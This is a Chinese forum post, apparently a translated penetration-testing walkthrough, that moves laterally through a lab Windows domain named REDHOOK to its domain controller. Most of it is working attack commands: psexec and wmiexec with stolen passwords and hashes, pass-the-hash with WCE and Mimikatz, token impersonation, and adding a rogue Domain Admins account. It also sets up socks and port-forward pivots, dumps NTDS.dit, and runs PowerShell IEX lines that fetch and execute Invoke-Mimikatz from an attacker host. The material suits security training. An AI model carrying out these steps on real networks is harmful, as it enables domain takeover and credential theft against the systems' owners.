找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2182

积分

0

好友

305

主题
发表于 昨天 13:22 | 查看: 3| 回复: 0

0x00 场景

本次实战的目标是获取“redhook.DA”域账户的一个可用凭据。我们从一个已控制的内网主机权限开始,但此主机尚未与目标域控制器处于同一子网中。网络拓扑结构如下:

域横向渗透网络拓扑图

此外,我们假设攻击者已获取了Client 1主机中的本地管理员缓存认证凭据。在实际的渗透测试中,通常如果网络范围足够大,会通过批处理、VBS、.NET或PowerShell脚本在网络共享上查找相应的存储凭据以获得初始访问权限。本文中,攻击者位于Kali主机上,重点讲述在Windows域环境内横向移动的各种方法(不包括绕过AV的情况)。

0x01 攻击Client 1主机

1. 批处理脚本与信息收集

如上所述,我们通过网络共享上的批处理脚本获取了Client 1(IP: 10.0.0.129)主机的用户认证凭据。脚本示例如下:

# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat
@echo off
net use "\\10.0.0.129\C$" /user:bob ImSoSecur3!   #建立共享
if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
echo "Sigh, more errors on Client1! Copying.."
    copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
    del  "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
) else (
echo "Yaay, no new errors on Client1!"
)
net use "\\10.0.0.129\C$" /delete

可以通过批处理脚本快速获取目标IP的NetBIOS信息:

nbtscan  -vh  10.0.0.129
# or
nbtstat  -A  10.0.0.129

nbtscan命令执行结果

也可以使用命令 nbtstat -A IP 执行相同的操作。我们获取到主机名为WIN7-ENT-CLI1,并且它已连接到REDHOOK域。

2. PsExec工具集

使用Metasploit的PsExec模块,在Kali上可以轻松获取Client 1主机的反弹shell。注意,bob是本地账户而非域账户,因此无需使用SMBDomain参数。

msf>use  exploit/windows/smb/psexec
msf>set rhost  10.0.0.129
msf>set  smbuser  bob
msf>set smbpass  ImSoSecur3!
msf>show  options
msf>exploit

Metasploit psexec模块利用成功

另一种选择是使用Impacket工具包中的psexec.py,它使用RemComSvc模拟PsExec。其优点在于,即使没有明文凭证,它也可以接受哈希传递攻击。

python  psexec.py    bob:ImSoSecur3!@10.0.0.129 cmd

Impacket psexec.py执行结果

Windows系统下的官方PsExec.exe工具同样可用于横向移动,它具有签名可执行文件的优势。在此命令中添加“-s”标识将获取SYSTEM权限的Shell。

Psexec.exe  \\10.0.0.129  -u  bob  -p  ImSoSecur3!  cmd

Sysinternals PsExec执行结果

3. WMI远程管理

WMIC是Windows内置的著名远程命令执行工具,它不仅能执行命令,还能利用WMI获取敏感信息并重新配置系统。

wmic   /node:10.0.0.129  /user:bob  /password:ImSoSecur3!  computersystem  list  brief   /format:list   #远程获取计算机信息

wmic   /node:10.0.0.129  /user:bob  /password:ImSoSecur3!  computersystem  get   username   #远程获取目标用户账户信息

wmic   /node:10.0.0.129  /user:bob  /password:ImSoSecur3!   process   call  create  "calc.exe" #远程创建进程,这里是calc.exe

wmic   /node:10.0.0.129  /user:bob  /password:ImSoSecur3!  process get  Name,ProcessId | findstr  calc  #远程获取进程ID与名称

WMIC命令执行示例

4. WmiExec

Impacket工具包中的wmiexec.py可以执行命令并打印输出,提供半交互式Shell,同样支持哈希传递。

python  wmiexec.py   bob:ImSoSecur3!@10.0.0.129  route   print  -4   10.*

Impacket wmiexec.py执行route命令

PowerSploit中的Invoke-WmiCommand使用了PSCredential对象,虽然占用更多内存,但可以获取命令输出并将结果存储在内存中。
Invoke-WmiCommand查询用户信息

5. 哈希传递攻击(WCE和Mimikatz)

有时,我们只能获取目标主机用户的NTLM哈希值,而无法获得明文密码。此时,可以使用Metasploit的psexec或Impacket进行哈希传递。如果环境局限于本地Windows,则可以使用WCE或Mimikatz将NTLM哈希注入到当前进程。

whoami

net  use  \\10.0.0.129\ADMIN$      #无法连接目标共享,需要提供凭证

wce.exe  -s   bob::aad3b435b51404eeaad3b435b51404ee:f6c0fa29f4cad745ad04bed1d00a7c82  #通过WCE进行哈希传递

net use  \\10.0.0.129\ADMIN$

dir   \\10.0.0.129\ADMIN$

WCE工具进行哈希传递

WCE可能会触发告警,也可以使用Mimikatz的编译版二进制文件。

net  use  \\10.0.0.129\ADMIN$

mimikatz.exe

mimikatz# sekurlsa::pth  /user:bob  /domain:.   /ntlm:f6c0fa29f4cad745ad04bed1d00a7c82  #使用pth模块传递哈希

whoami

net  use  \\10.0.0.129\ADMIN$

Mimikatz进行哈希传递攻击

请注意,此例中将域设置为“.”,这是因为bob是本地账户。

0x02 在Client 1建立据点

1. Metasploit(Mimikatz和hashdump)

使用Mimikatz获取活动会话的用户凭据,并使用hashdump获取当前未登录的本地账户哈希。

meterpreter>load mimikatz  #加载mimikatz模块
meterpreter>tspkg  #尝试获取tspkg凭据
meterpreter>msv   #获取当前活动会话的msv凭据
meterpreter>hashdump  #获取本地主机账户的全部哈希值

Metasploit中Mimikatz获取凭据与哈希

2. Secretsdump和Invoke-Mimikatz

也可以使用Impacket的secretsdump.py和PowerSploit的Invoke-Mimikatz

python  secretsdump.py  bob:ImSoSecur3!@10.0.0.129

python  psexec.py   bob:ImSoSecur3!@10.0.0.129  cmd

powershell  -exec bypass  -command "IEX (New-Object  System.Net.Webclient).DownloadString('http://10.0.0.128/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

mimikatz(powershell)# sekurlsa::logonpasswords

使用Secretsdump和远程加载Invoke-Mimikatz

当然,还有其他方法可以实现相同目的,但以上是几种主要途径。

0x03 信息收集

现在我们已经可以访问REDHOOK域中的一台主机,这台主机还连接着另一个子网。

1. 令牌窃取与模拟

要查询域信息,通常需要一个域用户上下文。当前的bob用户并非域用户,但我们通过NtQuerySystemInformation来发现其他用户的令牌,进而模拟他们登录。Metasploit的incognito插件使这个过程非常简单。

meterpreter>getuid
meterpreter>list_tokens  -u
meterpreter>impersonate_token  REDHOOK\\asenath.waite
meterpreter>shell
whoami

Meterpreter中窃取并模拟域用户令牌

另外,可以使用Luke Jennings的独立工具incognito,它具有类似PsExec的功能,可以远程使用。

incognito.exe  -h  10.0.0.129  -u  bob  -p  ImSoSecur3!   list_tokens  -u
incognito.exe  -h  10.0.0.129  -u  bob  -p  ImSoSecur3!   execute  -c  REDHOOK\asenath.waite   cmd.exe

使用独立版incognito工具远程执行命令

2. 域信息收集

现在,我们获取了目标域的一个Shell,需要进行信息收集以扩大战果。通过一系列命令,我们发现了以下关键信息:

  1. 本地用户TemplateAdmin 是Client 1和Client 2的管理员。
  2. 我们已获取TemplateAdmin的哈希,可用来访问Client 2。
  3. REDHOOK\Administrator账户已在Client 2上通过身份验证。如果在其登录时获取了权限,便可窃取其明文凭据,从而获得域管理员权限。

3. 建立Socks代理

通过Metasploit添加路由,并设置Socks代理,以便通过已攻陷的主机访问目标子网。

meterpreter>run autoroute -h
meterpreter>run autoroute  -s  10.1.1.0/24
meterpreter>run autoroute  -p
meterpreter>background

msf>use  auxiliary/server/socks4a
msf>show options
msf>exploit

Metasploit添加路由并启动socks4a代理

使用Session 1建立的路由,通过socks4a代理进行进一步的扫描。

msf>use  auxiliary/scanner/smb/smb_version
msf>set  rhosts  10.1.1.0/24
msf>set threads  20
msf>show options
msf>exploit

通过代理进行SMB版本扫描

此外,可以通过proxychains工具加载socks代理,使用nmap进行扫描。

proxychains  nmap  -sTV   -p  53,445  -Pn  10.1.1.200

通过Proxychains代理进行Nmap扫描

Socks代理通常仅接受TCP通信,在进行操作时需要注意这一限制。虽然Windows原生不支持设置Socks代理,但可以使用netsh创建端口转发。

0x04 攻击Client 2主机

Client 1和Client 2之间共享的本地管理员账户TemplateAdmin表明它们可能具有相同的凭据。因此,攻击Client 2与之前的场景区别不大,主要在于需要通过跳板进行连接,并且可能需要使用账户哈希而非明文密码。

1. Metasploit(PortProxy & PsExec)

即使通过Metasploit的路由可以到达Client 2,反弹连接也可能难以建立。可以使用portproxy模块在Client 1上创建端口转发规则。

msf>use  post/windows/manage/portproxy
msf>set  connect_address  10.0.0.128
msf>set  ipv6_xp  true
msf>set  local_address  10.1.1.2
msf>set  local_port  9988
msf>set  session 1
msf>set  type  v4tov4
msf>show options
msf>exploit

Metasploit portproxy模块设置端口转发

此规则让Client 1监听10.1.1.2:9988并将流量转发到攻击者的10.0.0.128:9988。随后,配置PsExploit模块,使其载荷连接至Client 1的转发地址。

msf>use  exploit/windows/smb/psexec
msf>set rhost  10.1.1.3
msf>set  smbuser  TemplateAdmin
msf>set  smbpass  aad3b435b51404eeaad3b435b51404ee:9dc211131a1a1645ce61871a4fdd7b7
msf>set  payload  windows/meterpreter/reverse_tcp
msf>set  lhost   10.1.1.2
msf>set  lport  9988
msf>exploit
meterpreter>ipconfig

通过端口转发攻击Client 2并获取Meterpreter

2. Impacket(PsExec)& netsh

我们也可以在Client 1上使用netsh手动设置转发规则。

python   psexec.py  bob:ImSoSecur3!@10.0.0.129 cmd

netsh  interface  portproxy  add  v4tov4  listenaddress=10.0.0.129   listenport=5678  connectaddress=10.1.1.3  connectport=445
netsh  interface  portproxy dump

手动使用netsh设置端口转发

现在,我们建立了一条规则,将到达10.0.0.129:5678的流量转发到10.1.1.3:445。为此,需要修改Impacket的psexec.py源码以支持自定义端口。
修改Impacket psexec.py以支持自定义代理端口

修改并保存后,即可通过端口转发攻击Client 2。

python  psexec.py  -hashes  aad3b435b51404eeaad3b435b51404ee:9dc211131a18a1645ce61871a4fdd7b7  TemplateAdmin@10.0.0.129 cmd
ipconfig

通过修改后的PsExec利用端口转发攻击Client 2

完成后,记得清理端口转发规则:netsh interface portproxy reset

0x05 在Client 2建立据点

这与第一种情况类似,取决于REDHOOK\Administrator在Client 2上进行身份验证的方式。

1. Metasploit Easy-Mode (Mimikatz & incognito)

meterpreter>load mimikatz
meterpreter>tspkg
meterpreter>msv
meterpreter>hashdump

在Client 2上使用Mimikatz获取凭据

寻找以REDHOOK\Administrator身份运行的进程,并使用incognito模拟其令牌。

meterpreter>shell
tasklist   /v /fo  csv |  findstr   REDHOOK\\Administrator
meterpreter>load incognito
meterpreter>impersonate_token   REDHOOK\\Administrator
meterpreter>shell
whoami
net user  b33f  t0tallyL3git!  /add  /domain
net  group  "Domain Admins"  b33f  /add  /domain

窃取域管理员令牌并创建新的域管理员账户

2. Impacket (PsExec) & incognito

使用incognito来执行远程命令。可以将incognito上传到目标,并通过批处理文件执行多条命令。

python  psexec.py  -hashes  aad3b435b51404eeaad3b435b51404ee:9dc211131a18a1645ce61871a4fdd7b7  TemplateAdmin@10.0.0.129 cmd
cd  ..
put  /var/www/html/incognito.exe
incognito  list_tokens  -u
echo  net user  b33f_2  t0tallyL3git!  /add /domain >runme.bat
echo  net group  "Domain Admins"  b33f_2   /add  /domain >>runme.bat
incognito  execute  -c  "REDHOOK\Administrator"  "cmd.exe /c  c:\windows\runme.bat"

使用Impacket PsExec远程执行incognito添加用户

运行后重新登录验证结果:

python  psexec.py  -hashes  aad3b435b51404eeaad3b435b51404ee:9dc2111131a18a1645ce61871a4fdd7b7  TemplateAdmin@10.0.0.129 cmd
cd  ..
del  runme.bat
del  incognito.exe
net user   b33f_2  /domain

验证新创建的域管理员账户

3. 文件传输

显然,使用Impacket的PsExec中的“put”命令上传文件很方便。通常,一个好方法是将可能需要的所有工具预先上传到目标主机,也可以使用PowerShell的WebClientbitsadmin等工具进行下载。

0x06 攻击域控制器(Redrum-DC)

至此,我们要么找到了REDHOOK\Administrator的凭据,要么创建了自己的域管理员账户。这意味着攻击域控制器的过程与攻击Client 2的过程基本相同。

1. Socks Proxy & Impacket (WmiExec)

使用之前建立的socks代理,可以方便地访问域内网络。

proxychains  python  wmiexec.py   REDHOOK/administrator:QazWsxEdc123!@10.1.1.200
whoami
ipconfig
powershell   -exec  bypass  -command 'Get-windowsFeature | findstr  [x]'

通过代理使用WmiExec连接域控制器

2. Sysinternals (PsExec) & Invoke-Mimikatz

获取初始目标REDHOOK\redhook.DA账户的凭据。此示例在Client 1上以REDHOOK\Administrator权限获得shell,然后远程在DC上执行Mimikatz。

PsExec.exe  \\10.0.0.129  -u  REDHOOK\administrator  -p  QazWsxEdc123!  cmd
whoami
powershell  -exec  bypass  -command "IEX (New-Object  System.Net.Webclient).DownloadString('http://10.0.0.128/Invoke-Mimikatz.ps1');Invoke-Mimikatz  -command 'privilege::debug  sekurlsa::msv  exit'  -ComputerName  'Redrum-DC'"

通过PsExec远程调用Invoke-Mimikatz

由于Windows Server 2012 R2 / Windows 8.1+上的增强保护,可能无法直接获得明文,但成功获取了REDHOOK\redhook.DA的NTLM哈希,足以以此用户身份向域内其他计算机进行身份验证。

python  wmiexec.py  -hashes  00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46  REDHOOK/redhook.DA@10.0.0.129
whoami

使用获取的哈希以redhook.DA身份执行命令

0x07 提取NTDS.dit

很多时候,提取NTDS.dit意味着渗透进入尾声。下面介绍通过本地shell或WMI远程执行命令来提取域哈希的方法。

1. 卷影复制(经典方法)

最基本的方法是使用vssadmin创建卷影副本来复制文件。

C:\> whoami
redhook\redhook.da

# 获取NTDS路径
C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

# 创建C盘的卷影副本
C:\> vssadmin create shadow /for=c:

# 复制出ntds.dit和SYSTEM注册表配置单元
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive

将文件拖回攻击者机器后,使用Impacket的secretsdump.py进行解析。

python  secretsdump.py  -ntds  /root/Desktop/ntds.dit  -system  /root/Desktop/system.hive  local

使用secretsdump.py离线解析NTDS文件

注意,NTDS.dit文件可能包含成千上万个用户,体积庞大,导出时需小心。

2. Socks Proxy & Impacket (SecretsDump) 简便模式

如果我们有socks代理,并且有域管理员凭据,可以直接远程执行SecretsDump来提取所有哈希。

proxychains python secretsdump.py -hashes  00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46  REDHOOK/redhook.DA@10.1.1.200

通过代理远程执行SecretsDump提取域哈希

至此,我们完成了从初始立足点到完全控制域控制器的完整横向移动过程,演示了在安全/渗透/逆向测试中多种实用技术和工具的组合运用。




上一篇:开源免费一体式业务平台 Ever Gauzy:集成ERP/CRM/HRM,基于Node.js与React
下一篇:如何在STM32MP257嵌入式平台为Linux 6.1.82开启pstore记录内核崩溃日志?
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-16 02:04 , Processed in 0.226798 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表